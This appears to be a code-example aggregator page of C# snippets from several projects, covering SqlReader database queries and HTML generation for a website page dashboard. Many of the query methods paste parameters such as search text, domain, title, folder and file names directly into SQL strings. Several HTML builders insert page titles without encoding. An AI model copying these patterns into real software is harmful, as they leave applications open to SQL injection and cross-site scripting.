                    sw.AddAliases(RwpTeam.s_mpAliases);
                    try
                        {
                        rwpt.Name = GetStringVal(rgs, "TEAMNAME");
                        if (rwpt.Name == "")
                            return RSR.Success();

                        sw.Add(String.Format("$$rwllteams$$.TeamName = '{0}'", Sql.Sqlify(rwpt.Name)), SqlWhere.Op.And);
                        SqlReader sqlr = new SqlReader(sql);
                        if (sqlr.FExecuteQuery(sw.GetWhere(RwpTeam.s_sSqlQueryString), _sResourceConnString)
                            && sqlr.Reader.Read())
                            {
                            sqlr.Close();
                            // found a match.  for now, this is an error
                            throw new Exception(String.Format("team name {0} already exists", rwpt.Name));
                            }
                        sqlr.Close();

                        rwpt.Division = GetStringValNullable(rgs, "DIVISION");
                        rwpt.Password = GetStringValNullable(rgs, "PW");
                        rwpt.Created = GetDateValNullable(rgs, "DATECREATED");
                        rwpt.Updated = GetDateValNullable(rgs, "DATEUPDATED");
                        rwpt.FieldsReleased = GetIntVal(rgs, "FIELDSRELEASECOUNT");
                        rwpt.CagesReleased = GetIntVal(rgs, "CAGESRELEASECOUNT");
                        rwpt.FieldsReleasedToday = GetIntVal(rgs, "RELEASEDFIELDSTODAY");
                        rwpt.CagesReleasedToday = GetIntVal(rgs, "RELEASEDCAGESTODAY");
                        rwpt.ReleasedFieldsDate = GetDateValNullable(rgs, "RELEASEDFIELDSDATE");
                        rwpt.ReleasedCagesDate = GetDateValNullable(rgs, "RELEASEDCAGESDATE");
                        rwpt.Email1 = GetStringValNullable(rgs, "EMAIL1");
                        rwpt.Email2 = GetStringValNullable(rgs, "EMAIL2");
                        }
                    catch (Exception e)
                        {
                        return RSR.Failed(e);
                        }

                    return RSR.Success();
                }
コード例 #37
0
ファイル: teams.cs プロジェクト: rlittletht/RWLLPracticeTool
            /* F  A D D  R E S U L T  R O W */
            /*----------------------------------------------------------------------------
                %%Function: FAddResultRow
                %%Qualified: RwpSvc.Practice:Teams.FAddResultRow
                %%Contact: rlittle

            ----------------------------------------------------------------------------*/
            public bool FAddResultRow(SqlReader sqlr, int iRecordSet)
            {
                m_plrwpt.Add(new RwpTeam(sqlr.Reader));
                return true;
            }
コード例 #38
0
ファイル: Page.cs プロジェクト: nhtera/Home
 public SqlReader GetParentInfo(int pageId)
 {
     SqlReader reader = new SqlReader();
     if (R.Sql.dataType == enumSqlDataTypes.SqlClient)
     {
         reader.ReadFromSqlClient(R.Sql.ExecuteReader("SELECT TOP 1 p2.title AS parenttitle, p.title, p.security, p.description FROM pages p LEFT JOIN pages p2 ON p2.pageid=p.parentid WHERE p.pageid=" + pageId));
     }
     return reader;
     //
 }
コード例 #39
0
ファイル: Page.cs プロジェクト: nhtera/Home
 public SqlReader GetParentTitle(int parentId, int websiteId)
 {
     SqlReader reader = new SqlReader();
     if (R.Sql.dataType == enumSqlDataTypes.SqlClient)
     {
         reader.ReadFromSqlClient(R.Sql.ExecuteReader("SELECT p.title, p.parentid, r.title AS parenttitle FROM pages p LEFT JOIN pages r ON r.pageid=p.parentid WHERE p.pageid=" + parentId + " AND p.websiteid=" + websiteId));
     }
     return reader;
 }
コード例 #40
0
ファイル: Page.cs プロジェクト: nhtera/Home
 public SqlReader GetUserSecurityForWebsite(int websiteId, int userId)
 {
     SqlReader reader = new SqlReader();
     if (R.Sql.dataType == enumSqlDataTypes.SqlClient)
     {
         reader.ReadFromSqlClient(R.Sql.ExecuteReader("EXEC GetSecurityForWebsite @websiteid=" + websiteId + ", @userid=" + userId));
     }
     return reader;
 }
コード例 #41
0
ファイル: PagesService.cs プロジェクト: Websilk/Home
        private string ViewPagesList(SqlReader reader, int websiteId, int parentId, string pageTitle, int parentPageId, string parentTitle, string parentPath, string parentPathIds)
        {
            var htm = new StringBuilder();
            var secureEdit = S.User.checkSecurity(websiteId, "dashboard/pages", User.enumSecurity.read);
            var secureCreate = S.User.checkSecurity(websiteId, "dashboard/pages", User.enumSecurity.create);
            var secureDelete = S.User.checkSecurity(websiteId, "dashboard/pages", User.enumSecurity.delete);
            var secureSettings = S.User.checkSecurity(websiteId, "dashboard/pages", User.enumSecurity.update);

            var subpageTitle = "";
            var pagePath = "";
            var pageLink = "";
            var pageSummary = "";
            var pageCreated = "";
            var subpageId = 0;
            var hasChildren = 0;
            var color = "";
            var options = new bool[] { false, false, false, false };

            htm.Append("<ul class=\"columns-list\">");

            while (reader.Read())
            {
                color = "empty";
                subpageTitle = reader.Get("title");
                pagePath = reader.Get("path");
                pageSummary = reader.Get("description");
                pageCreated = DateTime.Parse(reader.Get("datecreated")).ToString("MMMM dd, yyyy");
                subpageId = reader.GetInt("pageid");
                hasChildren = reader.GetInt("haschildren");
                pageLink = "/" + (pagePath).Replace(" ", "-");
                options = new bool[] { true, true, true, true }; //edit, create, settings, delete

                //disable delete button
                switch (subpageTitle.ToLower())
                {
                    case "home":
                    case "login":
                    case "error 404":
                    case "access denied":
                    case "about":
                    case "contact":
                        options[3] = false;
                        break;
                    case "dashboard":
                        continue;
                }

                //disable sub-page creation
                switch (subpageTitle.ToLower())
                {
                    case "login":
                    case "error 404":
                    case "access denied":
                        options[1] = false;
                        break;
                }

                //change row color
                switch (subpageTitle.ToLower())
                {
                    case "login":
                    case "about":
                    case "contact":
                        color = "yellow";
                        break;
                    case "error 404":
                    case "access denied":
                        color = "red";
                        break;
                    case "home":
                        color = "turqoise";
                        break;
                }

                //setup options
                if (secureDelete == false)
                {
                    //delete
                    options[3] = false;
                }
                if (secureSettings == false)
                {
                    //settings
                    options[2] = false;
                }
                if (secureCreate == false)
                {
                    //create
                    options[1] = false;
                }
                htm.Append("<li>" + RenderListItem(color, subpageId, subpageTitle, pagePath, pageLink, pageSummary, pageCreated, options, hasChildren > 0) + "</li>");
            }

            htm.Append("</ul>");
            return htm.ToString();
        }
コード例 #42
0
ファイル: Page.cs プロジェクト: nhtera/Home
        public void LoadPageInfo(SqlReader reader)
        {
            int oldThemeId = themeId;

            if (reader.Rows.Count > 0)
            {
                reader.Read();
                pageId = reader.GetInt("pageId");
                ownerId = reader.GetInt("ownerId");
                pageSecurity = reader.GetInt("security");
                pageUsersOnly = reader.GetInt("usersonly");
                pageTitle = reader.Get("title");
                pageCreated = reader.GetDateTime("datecreated");
                themeId = reader.GetInt("themeid");
                themeOwner = reader.GetInt("themeowner");
                themeName = reader.Get("themename");
                websiteId = reader.GetInt("websiteid");
                websiteTitle = reader.Get("websitetitle");
                websiteType = reader.GetInt("websitetype");
                if (websiteType < 0) { websiteType = 1; }

                websitePageAccessDenied = reader.GetInt("pagedenied");
                websitePage404 = reader.GetInt("page404");
                pageDescription = R.Sql.Decode(reader.Get("description"));
                //websiteTrial = reader.GetBool("statustype");
                googleWebPropertyId = reader.Get("googlewebpropertyid");
                //LoadBackground(reader.Get("pagebackground"])); //page
                //else LoadBackground(reader.Get("background"])); //website
                pageParentId = reader.GetInt("parentid");
                if (pageParentId < 0) { pageParentId = 0; }
                parentTitle = reader.Get("parenttitle");

                string pageCss = "";
                //get CSS for whole web site
                if (isPageLoaded == false | pageCssChanged == true)
                {
                    pageCss = reader.Get("websitecss");
                }
                pageCss = reader.Get("css");

                string favIcon = reader.Get("icon");
                if (R.isWebService == true)
                {
                    if (favIcon != pageFavIcon)
                    {
                        //change favicon via JS
                    }
                }
                else
                {
                    pageFavIcon = favIcon;
                }

                pageFacebook = "";
                if (reader.Get("photo") != "")
                {
                    pageFacebook = "<meta id=\"metafbimg\" property=\"og:image\" content=\"" + Url.host + reader.Get("photo") + "\" />";
                }
                pageFacebook += "<meta id=\"metafbtitle\" property=\"og:title\" content=\"" + R.Util.Str.GetPageTitle(pageTitle) + "\" />" +
                                "<meta id=\"metafbsite\" property=\"og:site_name\" content=\"" + R.Util.Str.GetWebsiteTitle(pageTitle) + "\" />";
            }

            if (pageId <= 0)
            {
                //no page loaded, show 404
                LoadPage("404");
            }

            if (reader.Rows.Count > 0)
            {
                //finished loading page information, so check for security & core changes made from info
                if (demoId > 0)
                {
                    if (demoId == pageId && R.Request.QueryString.ToString().IndexOf("?demo") >= 0)
                    {
                        isDemo = true;
                        R.User.viewerId = ownerId;
                        isEditable = true;
                    }
                    else
                    {
                        demoId = 0;
                        isEditable = false;
                    }

                }
                else if (R.Request.QueryString.ToString().IndexOf("?demo") >= 0)
                {
                    //no demo was launched from RennderScript,
                    //so check to see if this website is a template website
                    //(which supports demo of any public page)
                    if (websiteType == 2)
                    {
                        isDemo = true;
                        R.User.viewerId = ownerId;
                        isEditable = true;
                        isTemplate = true;
                    }
                    else
                    {
                        demoId = 0;
                        isEditable = false;
                    }
                }

                if (isDemo == true)
                {
                    //load demo tutorial
                }
                else
                {
                    if (R.User.userId > 0)
                    {
                        //user is logged in, check security for page editing
                        R.User.viewerId = R.User.userId;
                        if (R.User.Website(websiteId).getWebsiteSecurityItem("dashboard/pages", 4))
                        {
                            isEditable = true;
                        }
                    }
                }

                //don't let bot / crawler edit page
                if (isBot == true) { isEditable = false; }

                if (!string.IsNullOrEmpty(R.Request.Query["a"]) & R.User.viewerId < 1)
                {
                    //authenticate login for taking a screenshot
                    if (R.Page.SqlPage.AuthLoginForScreenshot(R.Request.Query["a"], websiteId, (R.Request.Query["ak"] == "0" ? 0 : 1)) == "pass")
                    {
                        R.User.viewerId = ownerId;
                        R.User.userId = ownerId;
                        RegisterJS("authjs2", "var evscreenshot = 1;");
                    }
                }

                if (pageSecurity == 1 && (ownerId != R.User.viewerId || isDemo == true))
                {
                    //don't allow anyone but the website owner to view this page

                }

                if (isEditable == true || isDemo == true)
                {
                    PageTitleForBrowserTab = pageEditorTitle + websiteTitle + pageEditorTitleEnd;
                }

                if (themeFolder == "")
                {
                    //load website theme from request query string
                    if (!string.IsNullOrEmpty(R.Request.Query["lid"]))
                    {
                        //LoadThemeIdFromQuery();
                    }
                    themeFolder = "/content/themes/" + themeName + "/";
                    if (R.isFirstLoad == true)
                    {
                        LoadTheme();
                    }
                }
                else
                {
                    if (oldThemeId != themeId && R.isFirstLoad == false)
                    {
                        themeFolder = "/content/themes/" + themeName + "/";
                    }
                }

                //setup page folder
                if (pageType == 1)
                {
                    pageFolder = "/content/websites/" + websiteId + "/pages/" + pageId + "/";
                }
                else
                {
                    pageFolder = "/content/websites/" + websiteId + "/layers/" + pageId + "/";
                }

                //setup work folder
                workFolder = pageFolder;

            }
        }
コード例 #43
0
ファイル: Page.cs プロジェクト: nhtera/Home
 public SqlReader GetUserSecurtyForWebsitesOwned(int userId)
 {
     SqlReader reader = new SqlReader();
     if (R.Sql.dataType == enumSqlDataTypes.SqlClient)
     {
         reader.ReadFromSqlClient(R.Sql.ExecuteReader("SELECT websiteid FROM websites WHERE ownerid=" + userId));
     }
     return reader;
 }
コード例 #44
0
ファイル: Page.cs プロジェクト: nhtera/Home
 public SqlReader GetPageInfoFromDomainAndTitle(string domain, string title)
 {
     SqlReader reader = new SqlReader();
     if (R.Sql.dataType == enumSqlDataTypes.SqlClient)
     {
         reader.ReadFromSqlClient(R.Sql.ExecuteReader("GetPageInfoFromDomainAndTitle @domain='" + domain + "', @title='" + title + "'"));
     }
     return reader;
 }
コード例 #45
0
ファイル: Page.cs プロジェクト: nhtera/Home
 public SqlReader GetPageInfoFromPageId(int pageId)
 {
     SqlReader reader = new SqlReader();
     if (R.Sql.dataType == enumSqlDataTypes.SqlClient)
     {
         reader.ReadFromSqlClient(R.Sql.ExecuteReader("EXEC GetPageInfoFromPageId @pageId=" + pageId));
     }
     return reader;
 }
コード例 #46
0
ファイル: Dashboard.cs プロジェクト: nhtera/Home
        public SqlReader GetPageList(int websiteId, int ownerId, int parentId, int start, int length, int orderBy, string search)
        {
            SqlReader reader = new SqlReader();
            if (R.Sql.dataType == enumSqlDataTypes.SqlClient)
            {
                string sql = "";
                sql = "SELECT * FROM (SELECT ROW_NUMBER() OVER(";
                switch (orderBy)
                {
                    case 1:
                    case -1:
                        sql += "ORDER BY datecreated ASC";
                        break;
                    case 2:
                        sql += "ORDER BY datecreated DESC";
                        break;
                    case 3:
                        sql += "ORDER BY datemodified ASC";
                        break;
                    case 4:
                        sql += "ORDER BY datemodified DESC";
                        break;
                    case 5:
                        sql += "ORDER BY title ASC";
                        break;
                    case 6:
                        sql += "ORDER BY title DESC";
                        break;
                    case 7:
                        sql += "ORDER BY usersonly DESC, datecreated ASC";
                        break;
                }
                sql += ") AS rownum, p.pageid, p.title, p.datecreated, p.datemodified, p.favorite, p.security, p.published, p.ratingtotal, p.ratedcount, p.description";
                sql += ", (SELECT COUNT(*) FROM pages WHERE websiteid=" + websiteId + " AND parentid=p.pageid) AS haschildren ";
                sql += "FROM pages p WHERE p.websiteid=" + websiteId + " AND p.ownerid=" + ownerId + " AND p.deleted=0 AND p.enabled=1";
                if (!string.IsNullOrEmpty(search))
                {
                    sql += " AND (p.title LIKE '%" + search + "%' OR p.description LIKE '%" + search + "%')";
                }
                if (orderBy == 7)
                {
                    sql += " AND p.usersonly=1";
                }
                if (parentId > -1)
                {
                    if (parentId == 0)
                    {
                        sql += " AND (p.parentid=0 OR p.parentid is null)";
                    }
                    else
                    {
                        sql += " AND p.parentid=" + parentId;
                    }
                }
                else if (parentId == -1)
                {
                    //favorites only
                    sql += " AND p.favorite=1";
                }
                sql += ") AS mytbl WHERE rownum >= " + start + " AND rownum < " + (start + (length + 1));
                sql += " ORDER BY haschildren DESC";

                reader.ReadFromSqlClient(R.Sql.ExecuteReader(sql));
            }
            return reader;
        }
コード例 #47
0
ファイル: Page.cs プロジェクト: nhtera/Home
 public SqlReader GetUserSecurity(int userId)
 {
     SqlReader reader = new SqlReader();
     if (R.Sql.dataType == enumSqlDataTypes.SqlClient)
     {
         reader.ReadFromSqlClient(R.Sql.ExecuteReader("SELECT DISTINCT websiteid FROM websitesecurity WHERE userid=" + userId));
     }
     return reader;
 }
コード例 #48
0
ファイル: Pages.cs プロジェクト: nhtera/Home
        private string LoadLayoutForTreeView(SqlReader reader, int parentId, string parentTitle, bool secureDelete, bool secureSettings, bool secureCreate)
        {
            List<string> htm = new List<string>();
            if (reader.Rows.Count > 0)
            {
                int i = 2;
                bool hasDelete = false;
                string pageTitle = "";
                string pageLink = "";
                int pageId = 0;
                string options = "";
                string expander = "";
                bool hasCreate = false;
                int hasChildren = 0;
                string color = "";

                if (parentId > 0)
                {
                    htm.Add("<div class=\"sub\">");
                }
                else
                {
                    htm.Add("<div class=\"pages-treeview\">");
                }

                while (reader.Read() == true)
                {
                    i = (i == 2 ? 1 : 2);
                    color = "empty";
                    pageTitle = reader.Get("title").Split(new string[]{" - "},0)[1];
            if (!string.IsNullOrEmpty(parentTitle))
                        pageTitle = pageTitle.Substring(parentTitle.Length + 1);
                    pageId = reader.GetInt("pageid");
                    hasChildren = reader.GetInt("haschildren");
                    hasDelete = true;
                    hasCreate = true;
                    pageLink = "";
                    options = "";

                    //disable delete button
                    switch (pageTitle.ToLower())
                    {
                        case "home":
                        case "login":
                        case "error 404":
                        case "access denied":
                        case "about":
                        case "contact":
                            hasDelete = false;
                            break;
                    }

                    //disable sub-page creation
                    switch (pageTitle.ToLower())
                    {
                        case "login":
                        case "error 404":
                        case "access denied":
                        case "about":
                        case "contact":
                            hasCreate = false;
                            break;
                    }

                    //change row color
                    switch (pageTitle.ToLower())
                    {
                        case "login":
                        case "about":
                        case "contact":
                            color = "yellow";
                            break;
                        case "error 404":
                        case "access denied":
                            color = "red";
                            break;
                        case "home":
                            color = "turqoise";
                            break;
                    }

                    //setup page link
                    if (R.isLocal == true)
                    {
                        if (R.Page.websiteId > 1)
                        {
                            pageLink = "/?pageid=" + pageId;
                        }
                    }
                    if (string.IsNullOrEmpty(pageLink))
                    {
                        if (R.Page.useAJAX == true)
                        {
                            pageLink = "/#" + ((!string.IsNullOrEmpty(parentTitle) ? parentTitle + " " : "") + pageTitle).Replace(" ", "-");
                        }
                        else
                        {
                            pageLink = "/" + ((!string.IsNullOrEmpty(parentTitle) ? parentTitle + " " : "") + pageTitle).Replace(" ", "-");
                        }
                    }

                    //setup options
                    if (secureDelete == true & hasDelete == true)
                    {
                        options += "<div class=\"right icon icon-delete\"><a href=\"javascript:\" onclick=\"R.editor.pages.remove('" + pageId + "')\" title=\"Permanently delete this page\"><svg viewBox=\"0 0 15 15\" style=\"width:12px;\"><use xlink:href=\"#icon-close\" x=\"0\" y=\"0\" width=\"36\" height=\"36\" /></svg></a></div>";
                    }
                    if (secureSettings == true)
                    {
                        options += "<div class=\"right icon icon-settings\"><a href=\"javascript:\" onclick=\"R.editor.pages.settings.show('" + pageId + "')\" title=\"Page Settings\"><svg viewBox=\"0 0 36 36\"><use xlink:href=\"#icon-settings\" x=\"0\" y=\"0\" width=\"36\" height=\"36\" /></svg></a></div>";
                    }
                    if (secureCreate == true & hasCreate == true)
                    {
                        options += "<div class=\"right icon icon-add\"><a href=\"javascript:\" onclick=\"R.editor.pages.add.show('" + pageId + "','" + pageTitle + "')\" title=\"Create New Sub-Page\"><svg viewBox=\"0 0 15 15\"><use xlink:href=\"#icon-add\" x=\"0\" y=\"0\" width=\"15\" height=\"15\" /></svg></a></div>";
                    }

                    //setup expander
                    expander = "<div class=\"expander " + color + "\">";
                    if (hasChildren > 0)
                    {
                        expander += "<div class=\"column right icon icon-expand\"><a href=\"javascript:\" onclick=\"R.editor.pages.expand('" + pageId + "')\"><svg viewBox=\"0 0 15 15\"><use xlink:href=\"#icon-expand\" x=\"0\" y=\"0\" width=\"15\" height=\"15\" /></svg></a></div>";
                    }
                    else
                    {
                        expander += "<div class=\"column\">&nbsp;</div>";
                    }
                    expander += "</div>";

                    htm.Add("<div class=\"row color" + i + " item page-" + pageId + "\">" + expander + "<div class=\"column\"><a href=\"" + pageLink + "\">" + pageTitle + "</a>" + "<div class=\"hover-only right\">" + options + "</div>" + "</div><div class=\"clear\"></div></div>");
                }
                if (parentId > 0)
                {
                    htm.Add("</div>");
                }
                else
                {
                    htm.Add("</div>");
                }

            }
            return string.Join("\n", htm);
        }
コード例 #49
0
ファイル: Dashboard.cs プロジェクト: nhtera/Home
 public SqlReader GetPhotos(int websiteId, int start, int length, string folder = "", int orderBy = 1)
 {
     SqlReader reader = new SqlReader();
     if (R.Sql.dataType == enumSqlDataTypes.SqlClient)
     {
         string sql = "EXEC GetPhotos @websiteId=" + websiteId + ", @folder='" + folder + "'" +
                      ", @start=" + start + ", @length=" + length + ", @orderby=" + orderBy;
         reader.ReadFromSqlClient(R.Sql.ExecuteReader(sql));
     }
     return reader;
 }
コード例 #50
0
ファイル: Dashboard.cs プロジェクト: nhtera/Home
 public SqlReader GetPhotos(int websiteId, string[] filenames)
 {
     SqlReader reader = new SqlReader();
     if (R.Sql.dataType == enumSqlDataTypes.SqlClient)
     {
         string sql = "EXEC GetPhotos @websiteId=" + websiteId + ", @filenames='" + string.Join(",", filenames) + "'";
         reader.ReadFromSqlClient(R.Sql.ExecuteReader(sql));
     }
     return reader;
 }
コード例 #51
0
ファイル: Pages.cs プロジェクト: nhtera/Home
        private string LoadLayoutForList(SqlReader reader, bool layout, int parentId, string parentTitle, int rootId, string rootTitle, bool secureDelete, bool secureSettings, bool secureCreate)
        {
            List<string> htm = new List<string>();
            if (reader.Rows.Count > 0)
            {
                int i = 2;
                bool hasDelete = false;
                string pageTitle = "";
                string pageLink = "";
                int pageId = 0;
                string options = "";
                bool hasCreate = false;
                int hasChildren = 0;
                string color = "";
                string folderIcon = "";
                string folderDiv = "";

                htm.Add("<div class=\"pages-title\">" + LoadPagesTitleRow(parentId, parentTitle, rootId, rootTitle) + "</div>");
                htm.Add("<ul class=\"columns-first\">");

                if (parentId > 0)
                {
                    //page folder icon
                    i = (i == 2 ? 1 : 2);
                    folderIcon = "<div class=\"left icon icon-folder\"><a href=\"javascript:\" title=\"Go back to the parent folder\">" + "<svg viewBox=\"0 0 15 15\"><use xlink:href=\"#icon-folder\" x=\"0\" y=\"0\" width=\"15\" height=\"15\" /></svg></a></div>";

                    htm.Add("<li><div class=\"row color" + i + " item\"><div class=\"column-row\">" + "<div class=\"hover-title left\" onclick=\"R.editor.pages.load(" + rootId + ",'" + rootTitle + "','down')\" style=\"cursor:pointer\">" + folderIcon + "..</div>" + "<div class=\"hover-only right\">" + options + "</div>" + "</div><div class=\"clear\"></div></div></li>");
                }

                while (reader.Read() == true)
                {
                    i = (i == 2 ? 1 : 2);
                    i = 1;
                    color = "empty";
                    pageTitle = reader.Get("title").Split(new string[]{ "- "},0)[1];
                    if (!string.IsNullOrEmpty(parentTitle)) { pageTitle = pageTitle.Substring(parentTitle.Length + 1); }
                    pageId = reader.GetInt("pageid");
                    hasChildren = reader.GetInt("haschildren");
                    hasDelete = true;
                    hasCreate = true;
                    pageLink = "";
                    options = "";
                    folderDiv = "";

                    //disable delete button
                    switch (pageTitle.ToLower())
                    {
                        case "home":
                        case "login":
                        case "error 404":
                        case "access denied":
                        case "about":
                        case "contact":
                            hasDelete = false;
                            break;
                    }

                    //disable sub-page creation
                    switch (pageTitle.ToLower())
                    {
                        case "login":
                        case "error 404":
                        case "access denied":
                            hasCreate = false;
                            break;
                    }

                    //change row color
                    switch (pageTitle.ToLower())
                    {
                        case "login":
                        case "about":
                        case "contact":
                            color = "yellow";
                            break;
                        case "error 404":
                        case "access denied":
                            color = "red";
                            break;
                        case "home":
                            color = "turqoise";
                            break;
                    }

                    //setup page link
                    if (R.isLocal == true)
                    {
                        if (R.Page.websiteId > 1)
                        {
                            pageLink = "/?pageid=" + pageId;
                        }
                    }
                    if (string.IsNullOrEmpty(pageLink))
                    {
                        if (R.Page.useAJAX == true)
                        {
                            pageLink = "/#" + ((!string.IsNullOrEmpty(parentTitle) ? parentTitle + " " : "") + pageTitle).Replace(" ", "-");
                        }
                        else
                        {
                            pageLink = "/" + ((!string.IsNullOrEmpty(parentTitle) ? parentTitle + " " : "") + pageTitle).Replace(" ", "-");
                        }
                    }

                    //setup options
                    if (secureDelete == true & hasDelete == true)
                    {
                        options += "<div class=\"right icon icon-delete\"><a href=\"javascript:\" onclick=\"R.editor.pages.remove('" + pageId + "');return false\" title=\"Permanently delete the page '" + pageTitle + "' and all of its sub-pages\"><svg viewBox=\"0 0 15 15\"><use xlink:href=\"#icon-close\" x=\"0\" y=\"0\" width=\"36\" height=\"36\" /></svg></a></div>";
                    }
                    if (secureSettings == true)
                    {
                        options += "<div class=\"right icon icon-settings\"><a href=\"javascript:\" onclick=\"R.editor.pages.settings.show('" + pageId + "');return false\" title=\"Page Settings for '" + pageTitle + "'\"><svg viewBox=\"0 0 36 36\"><use xlink:href=\"#icon-settings\" x=\"0\" y=\"0\" width=\"36\" height=\"36\" /></svg></a></div>";
                    }
                    if (secureCreate == true & hasCreate == true)
                    {
                        options += "<div class=\"right icon icon-add\"><a href=\"javascript:\" onclick=\"R.editor.pages.add.show('" + pageId + "','" + pageTitle + "');return false\" title=\"Create a new Sub-Page for '" + pageTitle + "'\"><svg viewBox=\"0 0 15 15\"><use xlink:href=\"#icon-add\" x=\"0\" y=\"0\" width=\"15\" height=\"15\" /></svg></a></div>";
                    }

                    //page link
                    options += "<div class=\"right icon icon-add\"><a href=\"" + pageLink + "\" title=\"View Web Page\"><svg viewBox=\"0 0 15 15\"><use xlink:href=\"#icon-openwindow\" x=\"0\" y=\"0\" width=\"15\" height=\"15\" /></svg></a></div>";

                    //page folder icon
                    folderIcon = "<div class=\"left icon icon-folder\">";
                    if (hasChildren > 0)
                    {
                        folderIcon += "<a href=\"javascript:\" title=\"View a list of sub-pages for '" + pageTitle + "'\"><svg viewBox=\"0 0 15 15\"><use xlink:href=\"#icon-folder\" x=\"0\" y=\"0\" width=\"15\" height=\"15\" /></svg></a>";
                        folderDiv = " onclick=\"R.editor.pages.load(" + pageId + ",'" + pageTitle + "','up')\" style=\"cursor:pointer;\"";
                    }
                    folderIcon += "</div>";

                    htm.Add("<li><div class=\"row color" + i + " " + color + " item page-" + pageId + "\"><div class=\"column-row\">" + "<div class=\"" + (!string.IsNullOrEmpty(folderDiv) ? "hover-title " : "") + "left\"" + folderDiv + ">" + folderIcon + pageTitle + "</div>" + "<div class=\"hover-only right\">" + options + "</div>" + "</div><div class=\"clear\"></div></div></li>");
                }

                htm.Add("</ul>");
            }
            return string.Join("\n", htm);
        }
コード例 #52
0
ファイル: Dashboard.cs プロジェクト: nhtera/Home
 public SqlReader GetPhotoFolders(int websiteId)
 {
     SqlReader reader = new SqlReader();
     if (R.Sql.dataType == enumSqlDataTypes.SqlClient)
     {
         string sql = "EXEC GetPhotoFolders @websiteId=" + websiteId;
         reader.ReadFromSqlClient(R.Sql.ExecuteReader(sql));
     }
     return reader;
 }